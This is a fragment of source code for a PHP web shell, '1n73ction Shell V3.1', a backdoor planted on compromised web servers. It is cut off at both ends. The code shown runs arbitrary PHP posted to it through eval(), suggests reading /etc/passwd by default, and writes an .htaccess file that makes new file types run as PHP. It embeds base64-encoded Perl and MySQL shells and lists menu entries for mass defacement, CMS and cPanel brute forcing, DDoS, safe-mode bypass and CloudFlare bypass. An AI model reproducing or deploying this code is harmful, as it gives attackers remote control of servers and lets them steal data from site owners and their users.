HlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\'; \r\n?>\r\n<html><head><link rel="SHORTCUT ICON" href="http://png-3.findicons.com/files/icons/1935/red_gems_vol_2/128/r2_dragon.png"><title>=[ 1n73ct10n privat shell ]=</title>\r\n<script type="text/javascript">\r\nfunction tukar(lama,baru){\r\n\tdocument.getElementById(lama).style.display = \'none\';\r\n\tdocument.getElementById(baru).style.display = \'block\';\r\n}\r\n</script>\r\n<style type="text/css">\r\nbody{\r\n\tbackground:#000000;;\r\n}\r\na {\r\ntext-decoration:none;\r\n}\r\na:hover{\r\nborder-bottom:1px solid #00ff00;\r\n}\r\n*{\r\n\tfont-size:11px;\r\n\tfont-family:Tahoma,Verdana,Arial;\r\n\tcolor:#00ff00;\r\n}\r\n#menu{\r\n\tbackground:#111111;\r\n\tmargin:8px 2px 4px 2px;\r\n}\r\n#menu a{\r\n\tpadding:4px 18px;\r\n\tmargin:0;\r\n\tbackground:#222222;\r\n\ttext-decoration:none;\r\n\tletter-spacing:2px;\r\n\t-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;\r\n}\r\n#menu a:hover{\r\n\tbackground:#191919;\r\n\tborder-bottom:1px solid #333333;\r\n\tborder-top:1px solid #333333;\r\n}\r\n.tabnet{\r\n\tmargin:15px auto 0 auto;\r\n\tborder: 1px solid #333333;\r\n}\r\n.main {\r\n\twidth:100%;\r\n}\r\n.gaya {\r\n\tcolor: #00ff00;\r\n}\r\n.inputz{\r\n\tbackground:#111111;\r\n\tborder:0;\r\n\tpadding:2px;\r\n\tborder-bottom:1px solid #222222;\r\n\tborder-top:1px solid #222222;\r\n}\r\n.inputzbut{\r\n\tbackground:#111111;\r\n\tcolor:#00ff00;\r\n\tmargin:0 4px;\r\n\tborder:1px solid #444444;\r\n\r\n}\r\n.inputz:hover, .inputzbut:hover{\r\n\tborder-bottom:1px solid #00ff00;\r\n\tborder-top:1px solid #00ff00;\r\n}\r\n.output {\r\n\tmargin:auto;\r\n\tborder:1px solid #00ff00;\r\n\twidth:100%;\r\n\theight:400px;\r\n\tbackground:#000000;\r\n\tpadding:0 2px;\r\n}\r\n.cmdbox{\r\n\twidth:100%;\r\n}\r\n.head_info{\r\n\tpadding: 0 4px;\r\n}\r\n.jaya{ font-family: ;}\r\n\r\n.b374k{\r\n\tfont-size:30px;\r\n\tpadding:0;\r\n\tcolor:#444444;\r\n}\r\n.b374k_tbl{\r\n\ttext-align:center;\r\n\tmargin:0 4px 0 0;\r\n\tpadding:0 4px 0 0;\r\n\tborder-right:1px solid #333333;\r\n}\r\n.phpinfo table{\r\n\twidth:100%;\r\n\tpadding:0 0 0 0;\r\n}\r\n.phpinfo td{\r\n\tbackground:#111111;\r\n\tcolor:#cccccc;\r\npadding:6px 8px;;\r\n}\r\n.phpinfo th, th{\r\n\tbackground:#191919;\r\n\tborder-bottom:1px solid #333333;\r\nfont-weight:normal;\r\n}\r\n.phpinfo h2, .phpinfo h2 a{\r\n\ttext-align:center;\r\n\tfont-size:16px;\r\n\tpadding:0;\r\n\tmargin:30px 0 0 0;\r\n\tbackground:#222222;\r\n\tpadding:4px 0;\r\n}\r\n.explore{\r\nwidth:100%;\r\n}\r\n.explore a {\r\ntext-decoration:none;\r\n}\r\n.explore td{\r\nborder-bottom:1px solid #333333;\r\npadding:0 8px;\r\nline-height:24px;\r\n}\r\n.explore th{\r\npadding:3px 8px;\r\nfont-weight:normal;\r\n}\r\n.explore th:hover , .phpinfo th:hover{\r\nborder-bottom:1px solid #00ff00;\r\n}\r\n.explore tr:hover{\r\nbackground:#111111;\r\n}\r\n.viewfile{\r\nbackground:#EDECEB;\r\ncolor:#000000;\r\nmargin:4px 2px;\r\npadding:8px;\r\n}\r\n.sembunyi{\r\ndisplay:none;\r\npadding:0;margin:0;\r\n}\r\n\r\n</style></head>\r\n<script language=\'javascript\'>\r\nif (document.all||document.getElementById){\r\nvar thetitle=document.title\r\ndocument.title=\'\'\r\n}\r\nvar data="Us3 Y0ur br41n biTch ! ! !";\r\nvar done=1;\r\nfunction statusIn(text){\r\ndecrypt(text,22,22);\r\n}\r\nfunction statusOut(){\r\nself.status=\'\';\r\ndone=1;\r\n}\r\nfunction decrypt(text, max, delay){\r\nif (done){\r\ndone = 0;\r\nrantit(text, max, delay, 0, max);\r\n} \r\n}\r\nfunction rantit(text, runs_left, delay, charvar, max){\r\nif (!done){\r\nruns_left = runs_left - 1;\r\nvar status = text.substring(0,charvar);\r\nfor(var current_char = charvar; current_char < text.length; current_char++){\r\nstatus += data.charAt(Math.round(Math.random()*data.length));\r\n}\r\ndocument.title = status;\r\nvar rerun = "rantit(\'" + text + "\'," + runs_left + "," + delay + "," + charvar + "," + max + ");"\r\nvar new_char = charvar + 1;\r\nvar next_char = "rantit(\'" + text + "\'," + max + "," + delay + "," + new_char + "," + max + ");"\r\nif(runs_left > 0){\r\nsetTimeout(rerun, delay);\r\n}\r\nelse{\r\nif (charvar < text.length){\r\nsetTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));\r\n}\r\nelse\r\n{\r\ndone = 1;\r\n}\r\n}\r\n}\r\n}\r\nif (document.all||document.getElementById)\r\nstatusIn(thetitle)\r\n</script>\r\n\r\n<body onLoad="document.getElementById(\'cmd\').focus();">\r\n<div class="main">\r\n<!-- head info start here -->\r\n<div class="head_info">\r\n<table ><tr>\r\n<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://www.fbvideo.16mb.com/files/1n73ction.png" /></span></a></td></tr><tr><td><b>1n73ction Shell V3.1 [ Special Edition ]</b></td></tr></table></td>\r\n<td><?php echo $buff; ?></td>\r\n</tr></table>\r\n</div>\r\n<!-- head info end here -->\r\n<!-- menu start -->\r\n<center><div id="menu">\r\n<a href="?<?php echo "y=".$pwd; ?>"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=\' height="18" width="34"></a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>\r\n<a href="?<?php echo "y=".$pwd;\t?>&x=logout">Log-Out</a>\r\n\r\n\r\n</div></center>\r\n<!-- menu end -->\r\n\r\n<?php\r\n@ini_set(\'display_errors\', 0);\r\nif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'php\')){ ?>\r\n<form action="?y=<?php echo $pwd; ?>&x=php" method="post">\r\n<table class="cmdbox">\r\n<tr><td>\r\n<textarea class="output" name="cmd" id="cmd">\r\n<?php\r\nif(isset($_POST[\'submitcmd\'])) {\r\n\techo eval(magicboom($_POST[\'cmd\']));\r\n}\r\nelse echo "echo file_get_contents(\'/etc/passwd\');";\r\n?>\r\n</textarea>\r\n<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>\r\n</table>\r\n</form>\r\n\r\n<?php } \r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sql\'))\r\n {\r\n ?>\r\n<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">\r\n<?php\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";\r\n mkdir(\'mysql\', 0755);\r\n chdir(\'mysql\');\r\n $akses = ".htaccess";\r\n $buka_lah = "$akses";\r\n $buka = fopen ($buka_lah , \'w\') or die ("Error cuyy!");\r\n $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\nAddType application/x-httpd-php .cpc\r\n"; \r\n fwrite ( $buka , $metin ) ;\r\n fclose ($buka);\r\n$sqlshell = \'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTw